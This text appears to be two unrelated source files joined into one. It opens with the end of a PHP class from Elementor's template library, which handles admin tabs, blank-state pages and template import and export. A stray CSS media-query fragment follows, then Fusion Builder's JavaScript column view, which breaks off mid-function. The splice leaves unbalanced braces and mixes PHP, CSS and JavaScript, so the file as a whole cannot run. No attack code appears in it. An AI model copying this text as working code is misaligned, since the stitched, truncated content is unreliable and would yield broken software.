	 * @since 2.0.0
	 * @access public
	 *
	 * @param array $views An array of available list table views.
	 *
	 * @return array An updated array of available list table views.
	 */
	public function admin_print_tabs( $views ) {
		$current_type = '';
		$active_class = ' nav-tab-active';
		$current_tabs_group = $this->get_current_tab_group();

		if ( ! empty( $_REQUEST[ self::TAXONOMY_TYPE_SLUG ] ) ) {
			$current_type = $_REQUEST[ self::TAXONOMY_TYPE_SLUG ];
			$active_class = '';
		}

		$url_args = [
			'post_type' => self::CPT,
			'tabs_group' => $current_tabs_group,
		];

		$baseurl = add_query_arg( $url_args, admin_url( 'edit.php' ) );

		$filter = [
			'admin_tab_group' => $current_tabs_group,
		];
		$operator = 'and';

		if ( empty( $current_tabs_group ) ) {
			// Don't include 'not-supported' or other templates that don't set their `admin_tab_group`.
			$operator = 'NOT';
		}

		$doc_types = Plugin::$instance->documents->get_document_types( $filter, $operator );

		if ( 1 >= count( $doc_types ) ) {
			return $views;
		}

		?>
		<div id="elementor-template-library-tabs-wrapper" class="nav-tab-wrapper">
			<a class="nav-tab<?php echo esc_attr( $active_class ); ?>" href="<?php echo esc_url( $baseurl ); ?>">
				<?php
				$all_title = $this->get_library_title();
				if ( ! $all_title ) {
					$all_title = esc_html__( 'All', 'elementor' );
				}
				Utils::print_unescaped_internal_string( $all_title ); ?>
			</a>
			<?php
			foreach ( $doc_types as $type => $class_name ) :
				$active_class = '';

				if ( $current_type === $type ) {
					$active_class = ' nav-tab-active';
				}

				$type_url = esc_url( add_query_arg( self::TAXONOMY_TYPE_SLUG, $type, $baseurl ) );
				$type_label = $this->get_template_label_by_type( $type );
				Utils::print_unescaped_internal_string( "<a class='nav-tab{$active_class}' href='{$type_url}'>{$type_label}</a>" );
			endforeach;
			?>
		</div>
		<?php
		return $views;
	}

	/**
	 * Maybe render blank state.
	 *
	 * When the template library has no saved templates, display a blank admin page offering
	 * to create the very first template.
	 *
	 * Fired by `manage_posts_extra_tablenav` action.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
	 * @param array $args
	 */
	public function maybe_render_blank_state( $which, array $args = [] ) {
		global $post_type;

		$args = wp_parse_args( $args, [
			'cpt' => self::CPT,
			'post_type' => get_query_var( 'elementor_library_type' ),
		] );

		if ( $args['cpt'] !== $post_type || 'bottom' !== $which ) {
			return;
		}

		global $wp_list_table;

		$total_items = $wp_list_table->get_pagination_arg( 'total_items' );

		if ( ! empty( $total_items ) || ! empty( $_REQUEST['s'] ) ) {
			return;
		}

		$current_type = $args['post_type'];

		$document_types = Plugin::instance()->documents->get_document_types();

		if ( empty( $document_types[ $current_type ] ) ) {
			return;
		}

		// TODO: Better way to exclude widget type.
		if ( 'widget' === $current_type ) {
			return;
		}

		// TODO: This code maybe unreachable see if above `if ( empty( $document_types[ $current_type ] ) )`.
		if ( empty( $current_type ) ) {
			$counts = (array) wp_count_posts( self::CPT );
			unset( $counts['auto-draft'] );
			$count  = array_sum( $counts );

			if ( 0 < $count ) {
				return;
			}

			$current_type = 'template';

			$args['additional_inline_style'] = '#elementor-template-library-tabs-wrapper {display: none;}';
		}

		$this->render_blank_state( $current_type, $args );
	}

	private function render_blank_state( $current_type, array $args = [] ) {
		$current_type_label = $this->get_template_label_by_type( $current_type );
		$inline_style = '#posts-filter .wp-list-table, #posts-filter .tablenav.top, .tablenav.bottom .actions, .wrap .subsubsub { display:none;}';

		$args = wp_parse_args( $args, [
			'additional_inline_style' => '',
			'href' => '',
			'description' => esc_html__( 'Add templates and reuse them across your website. Easily export and import them to any other project, for an optimized workflow.', 'elementor' ),
		] );
		$inline_style .= $args['additional_inline_style'];
		?>
		<?php Utils::print_unescaped_internal_string( $inline_style ); ?></style>
		<div class="elementor-template_library-blank_state">
			<?php $this->print_blank_state_template( $current_type_label, $args['href'], $args['description'] ); ?>
		</div>
		<?php
	}

	/**
	 * Print Blank State Template
	 *
	 * When the an entity (CPT, Taxonomy...etc) has no saved items, print a blank admin page offering
	 * to create the very first item.
	 *
	 * This method is public because it needs to be accessed from outside the Source_Local
	 *
	 * @since 3.1.0
	 * @access public
	 *
	 * @param string $current_type_label The Entity title
	 * @param string $href The URL for the 'Add New' button
	 * @param string $description The sub title describing the Entity (Post Type, Taxonomy, etc.)
	 */
	public function print_blank_state_template( $current_type_label, $href, $description ) {
		?>
			<div class="elementor-blank_state">
				<i class="eicon-folder"></i>
				<h2>
					<?php
					/* translators: %s: Template type label. */
					printf( esc_html__( 'Create Your First %s', 'elementor' ), esc_html( $current_type_label ) );
					?>
				</h2>
				<p><?php echo wp_kses_post( $description ); ?></p>
				<a id="elementor-template-library-add-new" class="elementor-button elementor-button-success" href="<?php echo esc_url( $href ); ?>">
					<?php
					/* translators: %s: Template type label. */
					printf( esc_html__( 'Add New %s', 'elementor' ), esc_html( $current_type_label ) );
					?>
				</a>
			</div>
		<?php
	}

	public function add_filter_by_category( $post_type ) {
		if ( self::CPT !== $post_type ) {
			return;
		}

		$all_items = get_taxonomy( self::TAXONOMY_CATEGORY_SLUG )->labels->all_items;

		$dropdown_options = array(
			'show_option_all' => $all_items,
			'show_option_none' => $all_items,
			'hide_empty' => 0,
			'hierarchical' => 1,
			'show_count' => 0,
			'orderby' => 'name',
			'value_field' => 'slug',
			'taxonomy' => self::TAXONOMY_CATEGORY_SLUG,
			'name' => self::TAXONOMY_CATEGORY_SLUG,
			'selected' => empty( $_GET[ self::TAXONOMY_CATEGORY_SLUG ] ) ? '' : $_GET[ self::TAXONOMY_CATEGORY_SLUG ],
		);
		echo '<label class="screen-reader-text" for="cat">' . esc_html_x( 'Filter by category', 'Template Library', 'elementor' ) . '</label>';
		wp_dropdown_categories( $dropdown_options );
	}

	/**
	 * Import single template.
	 *
	 * Import template from a file to the database.
	 *
	 * @since 1.6.0
	 * @access private
	 *
	 * @param string $file_path File name.
	 *
	 * @return \WP_Error|int|array Local template array, or template ID, or
	 *                             `WP_Error`.
	 */
	private function import_single_template( $file_path ) {
		$data = json_decode( Utils::file_get_contents( $file_path ), true );

		if ( empty( $data ) ) {
			return new \WP_Error( 'file_error', 'Invalid File' );
		}

		$content = $data['content'];

		if ( ! is_array( $content ) ) {
			return new \WP_Error( 'file_error', 'Invalid Content In File' );
		}

		$content = $this->process_export_import_content( $content, 'on_import' );

		$page_settings = [];

		if ( ! empty( $data['page_settings'] ) ) {
			$page = new Model( [
				'id' => 0,
				'settings' => $data['page_settings'],
			] );

			$page_settings_data = $this->process_element_export_import_content( $page, 'on_import' );

			if ( ! empty( $page_settings_data['settings'] ) ) {
				$page_settings = $page_settings_data['settings'];
			}
		}

		$template_id = $this->save_item( [
			'content' => $content,
			'title' => $data['title'],
			'type' => $data['type'],
			'page_settings' => $page_settings,
		] );

		// Remove the temporary file, now that we're done with it.
		Plugin::$instance->uploads_manager->remove_file_or_dir( $file_path );

		if ( is_wp_error( $template_id ) ) {
			return $template_id;
		}

		return $this->get_item( $template_id );
	}

	/**
	 * Prepare template to export.
	 *
	 * Retrieve the relevant template data and return them as an array.
	 *
	 * @since 1.6.0
	 * @access private
	 *
	 * @param int $template_id The template ID.
	 *
	 * @return \WP_Error|array Exported template data.
	 */
	private function prepare_template_export( $template_id ) {
		$document = Plugin::$instance->documents->get( $template_id );

		$template_data = $document->get_export_data();

		if ( empty( $template_data['content'] ) ) {
			return new \WP_Error( 'empty_template', 'The template is empty' );
		}

		$export_data = [
			'content' => $template_data['content'],
			'page_settings' => $template_data['settings'],
			'version' => DB::DB_VERSION,
			'title' => $document->get_main_post()->post_title,
			'type' => self::get_template_type( $template_id ),
		];

		return [
			'name' => 'elementor-' . $template_id . '-' . gmdate( 'Y-m-d' ) . '.json',
			'content' => wp_json_encode( $export_data ),
		];
	}

	/**
	 * Send file headers.
	 *
	 * Set the file header when export template data to a file.
	 *
	 * @since 1.6.0
	 * @access private
	 *
	 * @param string $file_name File name.
	 * @param int    $file_size File size.
	 */
	private function send_file_headers( $file_name, $file_size ) {
		header( 'Content-Type: application/octet-stream' );
		header( 'Content-Disposition: attachment; filename=' . $file_name );
		header( 'Expires: 0' );
		header( 'Cache-Control: must-revalidate' );
		header( 'Pragma: public' );
		header( 'Content-Length: ' . $file_size );
	}

	/**
	 * Get template label by type.
	 *
	 * Retrieve the template label for any given template type.
	 *
	 * @since 2.0.0
	 * @access private
	 *
	 * @param string $template_type Template type.
	 *
	 * @return string Template label.
	 */
	private function get_template_label_by_type( $template_type ) {
		$document_types = Plugin::instance()->documents->get_document_types();

		if ( isset( $document_types[ $template_type ] ) ) {
			$template_label = call_user_func( [ $document_types[ $template_type ], 'get_title' ] );
		} else {
			$template_label = ucwords( str_replace( [ '_', '-' ], ' ', $template_type ) );
		}

		/**
		 * Template label by template type.
		 *
		 * Filters the template label by template type in the template library .
		 *
		 * @since 2.0.0
		 *
		 * @param string $template_label Template label.
		 * @param string $template_type  Template type.
		 */
		$template_label = apply_filters( 'elementor/template-library/get_template_label_by_type', $template_label, $template_type );

		return $template_label;
	}

	/**
	 * Filter template types in admin query.
	 *
	 * Update the template types in the main admin query.
	 *
	 * Fired by `parse_query` action.
	 *
	 * @since 2.4.0
	 * @access public
	 *
	 * @param \WP_Query $query The `WP_Query` instance.
	 */
	public function admin_query_filter_types( \WP_Query $query ) {
		if ( ! $this->is_current_screen() || ! empty( $query->query_vars['meta_key'] ) ) {
			return;
		}

		$current_tabs_group = $this->get_current_tab_group();

		if ( isset( $query->query_vars[ self::TAXONOMY_CATEGORY_SLUG ] ) && '-1' === $query->query_vars[ self::TAXONOMY_CATEGORY_SLUG ] ) {
			unset( $query->query_vars[ self::TAXONOMY_CATEGORY_SLUG ] );
		}

		if ( empty( $current_tabs_group ) ) {
			return;
		}

		$doc_types = Plugin::$instance->documents->get_document_types( [
			'admin_tab_group' => $current_tabs_group,
		] );

		$query->query_vars['meta_key'] = Document::TYPE_META_KEY;
		$query->query_vars['meta_value'] = array_keys( $doc_types );
	}

	/**
	 * Add template library actions.
	 *
	 * Register filters and actions for the template library.
	 *
	 * @since 2.0.0
	 * @access private
	 */
	private function add_actions() {
		if ( is_admin() ) {
			add_action( 'admin_menu', [ $this, 'admin_menu' ] );
			add_action( 'admin_menu', [ $this, 'admin_menu_reorder' ], 800 );
			add_filter( 'admin_title', [ $this, 'admin_title' ], 10, 2 );
			add_action( 'all_admin_notices', [ $this, 'replace_admin_heading' ] );
			add_filter( 'post_row_actions', [ $this, 'post_row_actions' ], 10, 2 );
			add_action( 'admin_footer', [ $this, 'admin_import_template_form' ] );
			add_action( 'save_post', [ $this, 'on_save_post' ], 10, 2 );
			add_filter( 'display_post_states', [ $this, 'remove_elementor_post_state_from_library' ], 11, 2 );

			add_action( 'parse_query', [ $this, 'admin_query_filter_types' ] );

			// Template filter by category.
			add_action( 'restrict_manage_posts', [ $this, 'add_filter_by_category' ] );

			// Template type column.
			add_action( 'manage_' . self::CPT . '_posts_columns', [ $this, 'admin_columns_headers' ] );
			add_action( 'manage_' . self::CPT . '_posts_custom_column', [ $this, 'admin_columns_content' ], 10, 2 );

			// Template library bulk actions.
			add_filter( 'bulk_actions-edit-elementor_library', [ $this, 'admin_add_bulk_export_action' ] );
			add_filter( 'handle_bulk_actions-edit-elementor_library', [ $this, 'admin_export_multiple_templates' ], 10, 3 );

			// Print template library tabs.
			add_filter( 'views_edit-' . self::CPT, [ $this, 'admin_print_tabs' ] );

			// Show blank state.
			add_action( 'manage_posts_extra_tablenav', [ $this, 'maybe_render_blank_state' ] );
		}

		add_action( 'template_redirect', [ $this, 'block_template_frontend' ] );

		// Remove elementor library templates from WP Sitemap
		add_filter(
			'wp_sitemaps_post_types',
			function( $post_types ) {
				return $this->remove_elementor_cpt_from_sitemap( $post_types );
			}
		);
	}

	/**
	 * @since 2.0.6
	 * @access public
	 */
	public function admin_columns_content( $column_name, $post_id ) {
		if ( 'elementor_library_type' === $column_name ) {
			/** @var Document $document */
			$document = Plugin::$instance->documents->get( $post_id );

			if ( $document && $document instanceof Library_Document ) {
				$document->print_admin_column_type();
			}
		}
	}

	/**
	 * @since 2.0.6
	 * @access public
	 */
	public function admin_columns_headers( $posts_columns ) {
		// Replace original column that bind to the taxonomy - with another column.
		unset( $posts_columns['taxonomy-elementor_library_type'] );

		$offset = 2;

		$posts_columns = array_slice( $posts_columns, 0, $offset, true ) + [
			'elementor_library_type' => esc_html__( 'Type', 'elementor' ),
		] + array_slice( $posts_columns, $offset, null, true );

		return $posts_columns;
	}

	public function get_current_tab_group( $default = '' ) {
		$current_tabs_group = $default;

		if ( ! empty( $_REQUEST[ self::TAXONOMY_TYPE_SLUG ] ) ) {
			$doc_type = Plugin::$instance->documents->get_document_type( $_REQUEST[ self::TAXONOMY_TYPE_SLUG ], '' );
			if ( $doc_type ) {
				$current_tabs_group = $doc_type::get_property( 'admin_tab_group' );
			}
		} elseif ( ! empty( $_REQUEST['tabs_group'] ) ) {
			$current_tabs_group = $_REQUEST['tabs_group'];
		}

		return $current_tabs_group;
	}

	private function get_library_title() {
		$title = '';

		if ( $this->is_current_screen() ) {
			$current_tab_group = $this->get_current_tab_group();

			if ( $current_tab_group ) {
				$titles = [
					'library' => esc_html__( 'Saved Templates', 'elementor' ),
					'theme' => esc_html__( 'Theme Builder', 'elementor' ),
					'popup' => esc_html__( 'Popups', 'elementor' ),
				];

				if ( ! empty( $titles[ $current_tab_group ] ) ) {
					$title = $titles[ $current_tab_group ];
				}
			}
		}

		return $title;
	}

	private function is_current_screen() {
		global $pagenow, $typenow;

		return 'edit.php' === $pagenow && self::CPT === $typenow;
	}

	/**
	 * @param array $post_types
	 *
	 * @return array
	 */
	private function remove_elementor_cpt_from_sitemap( array $post_types ) {
		unset( $post_types[ self::CPT ] );

		return $post_types;
	}

	/**
	 * Template library local source constructor.
	 *
	 * Initializing the template library local source base by registering custom
	 * template data and running custom actions.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function __construct() {
		parent::__construct();

		$this->add_actions();
	}
}
}@media only screen and (min-width: 848px) and (max-width: 900px){/* global FusionPageBuilderViewManager, fusionAppConfig, fusionAppConfig, FusionApp, fusionGlobalManager, fusionBuilderText, FusionPageBuilderApp, FusionPageBuilderElements, FusionEvents, fusionAllElements */
/* eslint no-unused-vars: 0 */
var FusionPageBuilder = FusionPageBuilder || {};

( function() {

	jQuery( document ).ready( function() {

		// Column View
		FusionPageBuilder.ColumnView = FusionPageBuilder.BaseColumnView.extend( {

			template: FusionPageBuilder.template( jQuery( '#fusion-builder-column-template' ).html() ),

			events: {
				'click .fusion-builder-column-settings:not(.fusion-builder-column-inner .fusion-builder-column-setting)': 'settings',
				'click .fusion-builder-column-size:not(.fusion-builder-column-inner .fusion-builder-column-size)': 'sizesShow',
				'hover .fusion-builder-column-content': 'offsetClass',
				'click .column-size:not(.fusion-builder-column-inner .column-size)': 'sizeSelect',
				'click .fusion-builder-add-element:not(.fusion-builder-column-inner .fusion-builder-add-element)': 'addModule',
				'click .fusion-builder-column-remove:not(.fusion-builder-column-inner .fusion-builder-column-remove)': 'removeColumn',
				'click .fusion-builder-column-clone:not(.fusion-builder-column-inner .fusion-builder-column-clone)': 'cloneColumn',
				'click .fusion-builder-column-save:not(.fusion-builder-column-inner .fusion-builder-column-save)': 'openLibrary',
				'click .fusion-builder-column-drag:not(.fusion-builder-column-inner .fusion-builder-column-drag)': 'preventDefault'
			},

			/**
			 * Init.
			 *
			 * @since 2.0.0
			 * @return {void}
			 */
			initialize: function() {
				var params  = this.model.get( 'params' ),
					spacing = '' !== params.spacing ? spacing : '4%';

				this.renderedYet         = false;
				this.columnSpacer        = false;
				this.forceAppendChildren = false;

				this.listenTo( FusionEvents, 'fusion-view-update-fusion_builder_column', this.reRender );

				this.$el.attr( 'data-cid', this.model.get( 'cid' ) );
				this.$el.attr( 'id', 'fusion-column-' + this.model.get( 'cid' ) );
				this.$el.attr( 'data-column-size', this.model.attributes.params.type );
				this.$el.attr( 'data-column-spacing', spacing );

				if ( 'undefined' !== typeof this.model.attributes.params && 'undefined' !== typeof this.model.attributes.params.fusion_global ) {
					this.$el.attr( 'fusion-global-layout', this.model.attributes.params.fusion_global );
					this.$el.removeClass( 'fusion-global-column' ).addClass( 'fusion-global-column' );
				}

				this.currentClasses = '';

				this.baseColumnInit();
				this.baseInit();
			},

			/**
			 * Renders the view.
			 *
			 * @since 2.0.0
			 * @return {Object} this
			 */
			render: function() {
				var self = this,
					data = this.getTemplateAtts(),
					columnSize = '';

				this.$el.html( this.template( data ) );

				if ( 'undefined' !== typeof this.model.attributes.selectors ) {
					this.setElementAttributes( this.$el, this.model.attributes.selectors );
				}

				// Add active column size CSS class
				columnSize = this.model.attributes.params.type;
				// TODO Check size and update class according.
				this.updateSizeIndicators();

				this.appendChildren();

				setTimeout( function() {
					self.droppableColumn();
				}, 100 );

				// Don't refresh on first render.
				if ( this.renderedYet ) {
					this._refreshJs();
				}

				this.renderedYet = true;

				return this;
			},

			droppableColumn: function() {
				var self = this,
					$el  = this.$el,
					cid,
					$droppables,
					$body;

				if ( ! $el ) {
					return;
				}

				cid         = this.model.get( 'cid' );
				$droppables = $el.find( '.fusion-column-target' );
				$body       = jQuery( '#fb-preview' )[ 0 ].contentWindow.jQuery( 'body' );

				$el.draggable( {
					appendTo: FusionPageBuilderApp.$el,
					zIndex: 999999,
					delay: 100,
					cursorAt: { top: 15, left: 15 },
					iframeScroll: true,
					containment: $body,
					cancel: '.fusion-builder-live-element, .fusion_builder_row_inner',
					helper: function() {
						var $classes = FusionPageBuilderApp.DraggableHelpers.draggableClasses( cid ),
							style = '';

						if ( $el.css( 'margin-top' ) ) {
							style = 'style="transform: translateY(' + $el.css( 'margin-top' ) + ');"';
						}

						return jQuery( '<div><div class="fusion-column-helper ' + $classes + '" data-cid="' + cid + '"' + style + '><span class="fusiona-column"></span></div></div>' );
					},
					start: function() {
						$body.addClass( 'fusion-column-dragging fusion-active-dragging' );
						$el.addClass( 'fusion-being-dragged' );

						if ( 'large' !== FusionApp.getPreviewWindowSize() ) {
							$body.addClass( 'fusion-column-dragging-responsive-mode' );
							$el.closest( '.fusion-builder-container' ).addClass( 'fusion-has-active-drop-targets' );
						}
					},
					stop: function() {
						setTimeout( function() {
							$body.removeClass( 'fusion-column-dragging fusion-active-dragging' );
						}, 10 );
						$el.removeClass( 'fusion-being-dragged' );

						if ( 'large' !== FusionApp.getPreviewWindowSize() ) {
							$el.closest( '.fusion-builder-container' ).removeClass( 'fusion-has-active-drop-targets' );
							$body.removeClass( 'fusion-column-dragging-responsive-mode' );
						}
					}
				} );

				$droppables.droppable( {
					tolerance: 'touch',
					hoverClass: 'ui-droppable-active',
					accept: '.fusion-builder-column',
					drop: function( event, ui ) {
						var handleDropColumn = self.handleDropColumn.bind( self );
						handleDropColumn( ui.draggable, $el, jQuery( event.target ) );
					}
				} );

				$el.find( '.fusion-element-target-column' ).droppable( {
					tolerance: 'touch',
					hoverClass: 'ui-droppable-active',
					accept: '.fusion-builder-live-element, .fusion_builder_row_inner',
					drop: function( event, ui ) {
						var handleElementDropInsideColumn = self.handleElementDropInsideColumn.bind( self );
						handleElementDropInsideColumn( ui.draggable, $el );
					}
				} );
			},

			handleElementDropInsideColumn: function( $element, $targetEl ) {
				var elementView  = FusionPageBuilderViewManager.getView( $element.data( 'cid' ) ),
					newIndex,
					MultiGlobalArgs;

				// Move the actual html.
				$targetEl.find( '.fusion-builder-column-content:not(.fusion_builder_row_inner .fusion-builder-column-content ):not( .fusion-nested-column-content )' ).append( $element );

				newIndex = $element.parent().children( '.fusion-builder-live-element, .fusion_builder_row_inner' ).index( $element );

				FusionPageBuilderApp.onDropCollectionUpdate( elementView.model, newIndex, this.model.get( 'cid' ) );

				FusionEvents.trigger( 'fusion-history-save-step', fusionBuilderText.moved + ' ' + fusionAllElements[ elementView.model.get( 'element_type' ) ].name + ' ' + fusionBuilderText.element );

				// Handle multiple global elements.
				MultiGlobalArgs = {
					currentModel: elementView.model,
					handleType: 'save',
					attributes: elementView.model.attributes
				};
				fusionGlobalManager.handleMultiGlobal( MultiGlobalArgs );

				FusionEvents.trigger( 'fusion-content-changed' );

				this._equalHeights();
			},

			handleDropColumn: function( $column, $targetEl, $dropTarget ) {
				var destinationRow,
					columnCid      = $column.data( 'cid' ),
					columnView     = FusionPageBuilderViewManager.getView( columnCid ),
					originalCid    = columnView.model.get( 'parent' ),
					parentCid      = $targetEl.closest( '.fusion-builder-row' ).data( 'cid' ),
					originalView,
					newIndex;

				if ( 'large' !== FusionApp.getPreviewWindowSize() && 'undefined' !== typeof this.isFlex && true === this.isFlex ) {

					// Update columns' order.
					FusionPageBuilderViewManager.getView( this.model.get( 'parent' ) )._updateResponsiveColumnsOrder(
						$column,
						$targetEl.closest( '.fusion-builder-row' ).children( '.fusion-builder-column' ),
						parseInt( $dropTarget.closest( '.fusion-builder-column' ).data( 'cid' ) ),
						$dropTarget.hasClass( 'target-after' )
					);

					return;
				}

				// Move the actual html.
				if ( $dropTarget.hasClass( 'target-after' ) ) {
					$targetEl.after( $column );
				} else {
					$targetEl.before( $column );
				}

				destinationRow = FusionPageBuilderViewManager.getView( parentCid );

				newIndex = $column.parent().children( '.fusion-builder-column' ).index( $column );

				FusionPageBuilderApp.onDropCollectionUpdate( columnView.model, newIndex, parentCid );

				// Update destination row which is this current one.
				destinationRow.setRowData();

				// If destination row and original row are different, update original as well.
				if ( parentCid !== originalCid ) {
					originalView = FusionPageBuilderViewManager.getView( originalCid );
					originalView.setRowData();
				}

				FusionEvents.trigger( 'fusion-history-save-step', fusionBuilderText.column + ' Order Changed' );

				setTimeout( function() {
					// If different container type we re-render so that it corrects for new situation.
					if ( 'object' !== typeof originalView || FusionPageBuilderApp.sameContainerTypes( originalView.model.get( 'parent' ), destinationRow.model.get( 'parent' ) ) ) {
						columnView.droppableColumn();
					} else {
						FusionEvents.trigger( 'fusion-close-settings-' + columnView.model.get( 'cid' ) );
						columnView.reRender();
					}
				}, 300 );
			},

			/**
			 * Things to do, places to go when options change.
			 *
			 * @since 2.0.0
			 * @param {string} paramName - The name of the parameter that changed.
			 * @param {mixed}  paramValue - The value of the option that changed.
			 * @param {Object} event - The event triggering the option change.
			 * @return {void}
			 */
			onOptionChange: function( paramName, paramValue, event ) {
				var rowView,
					parentCID            = this.model.get( 'parent' ),
					cid                  = this.model.get( 'cid' ),
					dimensionType		 = _.find( [ 'spacing_', 'margin_', 'padding_' ], function( type ) {
						return paramName.includes( type );
					} ),
					reInitDraggables     = false,
					view                 = {},
					values               = {},
					alphaBackgroundColor = 1;

				// Reverted to history step or user entered value manually.
				if ( 'undefined' === typeof event || ( 'undefined' !== typeof event && ( 'change' !== event.type || ( 'change' === event.type && 'undefined' !== typeof event.srcElement ) ) ) ) {
					reInitDraggables = true;
				}

				if ( 'spacing' === paramName ) {
					this.model.attributes.params[ paramName ] = paramValue;

					// Only update preview if it a valid unit.
					if ( this.validColumnSpacing( paramValue ) ) {
						rowView = FusionPageBuilderViewManager.getView( parentCID );
						rowView.setSingleRowData( cid );
					}

					if ( true === reInitDraggables ) {
						if ( 'yes' === paramValue || 'no' === paramValue ) {
							this.destroySpacingResizable();
						} else {
							this.columnSpacer = false;
							this.columnSpacing();
						}
					}
				}

				if ( dimensionType ) {
					this.model.attributes.params[ paramName ] = paramValue;

					if ( true === reInitDraggables ) {

						if ( 'padding_' === dimensionType ) {
							this.destroyPaddingResizable();
							this.paddingDrag();
						} else {
							this.destroyMarginResizable();
							this.marginDrag();
						}

					}
				}

				if ( 'padding' === paramName ) {
					if ( -1 === jQuery( event.target ).attr( 'name' ).indexOf( '_' ) ) {
						this.model.attributes.params[ paramName ] = paramValue;
						this.renderSectionSeps( event );
						this._refreshJs();
					}
				}


				if ( 'padding_left' === paramName || 'padding_right' === paramName ) {
					this.renderSectionSeps( event );
				}

				if ( [ 'border_size', 'border_color', 'border_style', 'border_position' ].includes( paramName ) ) {
					this.model.attributes.params[ paramName ] = paramValue;
				}
			},

			/**
			 * Render the section separators.
			 *
			 * @since 2.0.0
			 * @return {void}
			 */
			renderSectionSeps: function() {
				var elements = FusionPageBuilderViewManager.getChildViews( this.model.get( 'cid' ) );

				_.each( elements, function( element ) {
					if ( 'fusion_section_separator' === element.model.get( 'element_type' ) ) {
						element.reRender();
					}
				} );
			},

			/**
			 * Triggers a refresh.
			 *
			 * @since 2.0.0
			 * @return void
			 */
			refreshJs: function() {
				jQuery( '#fb-preview' )[ 0 ].contentWindow.jQuery( 'body' ).trigger( 'fusion-element-render-fusion_builder_column', this.model.attributes.cid );
			},

			/**
			 * Changes the border styles for the element.
			 *
			 * @since 2.0.0
			 * @param {Object} event - The event.
			 * @return {void}
			 */
			borderStyle: function( event ) {
				var borderSize     = this.model.attributes.params.border_size + 'px',
					borderColor    = this.model.attributes.params.border_color,
					borderStyle    = this.model.attributes.params.border_style,
					borderPosition = this.model.attributes.params.border_position,
					positions      = [ 'top', 'right', 'bottom', 'left' ],
					self           = this,
					$target        = ( 'lift_up' === this.model.attributes.params.hover_type ) ? self.$el.find( '.fusion-column-wrapper, .fusion-column-inner-bg-image' ) : self.$el.find( '.fusion-column-wrapper' );

				if ( event ) {
					event.preventDefault();
				}
				self.$el.find( '.fusion-column-wrapper, .fusion-column-inner-bg-image' ).css( 'border', '' );
				if ( 'all' === borderPosition ) {
					_.each( positions, function( position ) {
						$target.css( 'border-' + position, borderSize + ' ' + borderStyle + ' ' + borderColor );
					} );
				} else {
					_.each( positions, function( position ) {
						if ( position === borderPosition ) {
							$target.css( 'border-' + position, borderSize + ' ' + borderStyle + ' ' + borderColor );
						} else {
							$target.css( 'border-' + position, 'none' );
						}
					} );
				}
			},

			/**
			 * Clones a column.
			 *
			 * @since 2.0.0
			 * @param {Object} event - The event.
			 * @param {bool} forceManually - Force manually, even if it's not an event, to update history and trigger content changes.
			 * @return {void}
			 */
			cloneColumn: function( event, forceManually ) {
				var columnAttributes = jQuery.extend( true, {}, this.model.attributes ),
					$thisColumn,
					container;

				if ( event ) {
					event.preventDefault();
				}

				columnAttributes.created       = 'manually';
				columnAttributes.cid           = FusionPageBuilderViewManager.generateCid();
				columnAttributes.targetElement = this.$el;
				columnAttributes.cloned        = true;
				columnAttributes.at_index      = FusionPageBuilderApp.getCollectionIndex( this.$el );

				FusionPageBuilderApp.collection.add( columnAttributes );

				// Parse column elements
				$thisColumn = this.$el;
				$thisColumn.find( '.fusion-builder-live-element:not(.fusion-builder-column-inner .fusion-builder-live-element), .fusion-builder-nested-element' ).each( function() {
					var $thisModule,
						moduleCID,
						module,
						elementAttributes,
						$thisInnerRow,
						innerRowCID,
						innerRowView;

					// Standard element
					if ( jQuery( this ).hasClass( 'fusion-builder-live-element' ) ) {
						$thisModule = jQuery( this );
						moduleCID   = 'undefined' === typeof $thisModule.data( 'cid' ) ? $thisModule.find( '.fusion-builder-data-cid' ).data( 'cid' ) : $thisModule.data( 'cid' );

						// Get model from collection by cid
						module = FusionPageBuilderElements.find( function( model ) {
							return model.get( 'cid' ) == moduleCID; // jshint ignore: line
						} );

						// Clone model attritubes
						elementAttributes          = jQuery.extend( true, {}, module.attributes );

						elementAttributes.created  = 'manually';
						elementAttributes.cid      = FusionPageBuilderViewManager.generateCid();
						elementAttributes.parent   = columnAttributes.cid;
						elementAttributes.from     = 'fusion_builder_column';

						// Don't need target element, position is defined from order.
						delete elementAttributes.targetElementPosition;

						FusionPageBuilderApp.collection.add( elementAttributes );

					// Inner row/nested element
					} else if ( jQuery( this ).hasClass( 'fusion_builder_row_inner' ) ) {
						$thisInnerRow = jQuery( this );
						innerRowCID   = 'undefined' === typeof $thisInnerRow.data( 'cid' ) ? $thisInnerRow.find( '.fusion-builder-data-cid' ).data( 'cid' ) : $thisInnerRow.data( 'cid' );
						innerRowView  = FusionPageBuilderViewManager.getView( innerRowCID );

						// Clone inner row
						if ( 'undefined' !== typeof innerRowView ) {
							innerRowView.cloneNestedRow( 'clone', columnAttributes.cid );
						}
					}

				} );

				// If column is cloned manually
				if ( event || forceManually ) {

					FusionEvents.trigger( 'fusion-history-save-step', fusionBuilderText.cloned + ' ' + fusionBuilderText.column );

					container = FusionPageBuilderViewManager.getView( this.model.get( 'parent' ) );

					container.createVirtualRows();
					container.updateColumnsPreview();

					FusionEvents.trigger( 'fusion-content-changed' );
				}
				this._refreshJs();
			},

			/**
			 * Append the column's children to its content.
			 *
			 * @since 2.0.0
			 * @return {void}
			 */
			appendChildren: function() {
				var self = this,
					cid,
					view;

				this.model.children.each( function( child ) {

					cid  = child.attributes.cid;
					view = FusionPageBuilderViewManager.getView( cid );

					self.$el.find( '.fusion-builder-column-content:not(.fusion_builder_row_inner .fusion-builder-column-content ):not( .fusion-nested-column-content )' ).append( view.$el );

				} );

				this.delegateChildEvents();
			},

			/**
			 * Gets the column contents.
			 *
			 * @since 2.0.0
			 * @param {Object} $thisColumn - The jQuery object of the element.
			 * @return {string}
			 */
			getColumnContent: function() {
				var shortcode    = '',
					columnParams = {},
					self         = this,
					ColumnAttributesCheck;

				_.each( this.model.get( 'params' ), function( value, name ) {
					columnParams[ name ] = ( 'undefined' === value || 'undefined' === typeof value ) ? '' : value;
				} );

				// Legacy support for new column options
				ColumnAttributesCheck = {
					min_height: '',
					last: 'no',
					hover_type: 'none',
					link: '',
					border_position: 'all'
				};

				_.each( ColumnAttributesCheck, function( value, name ) {
					if ( 'undefined' === typeof columnParams[ name ] ) {
						columnParams[ name ] = value;
					}
				} );

				this.beforeGenerateShortcode();

				// Build column shortcode
				shortcode += '[fusion_builder_column type="' + this.model.attributes.params.type + '"';

				_.each( columnParams, function( value, name ) {
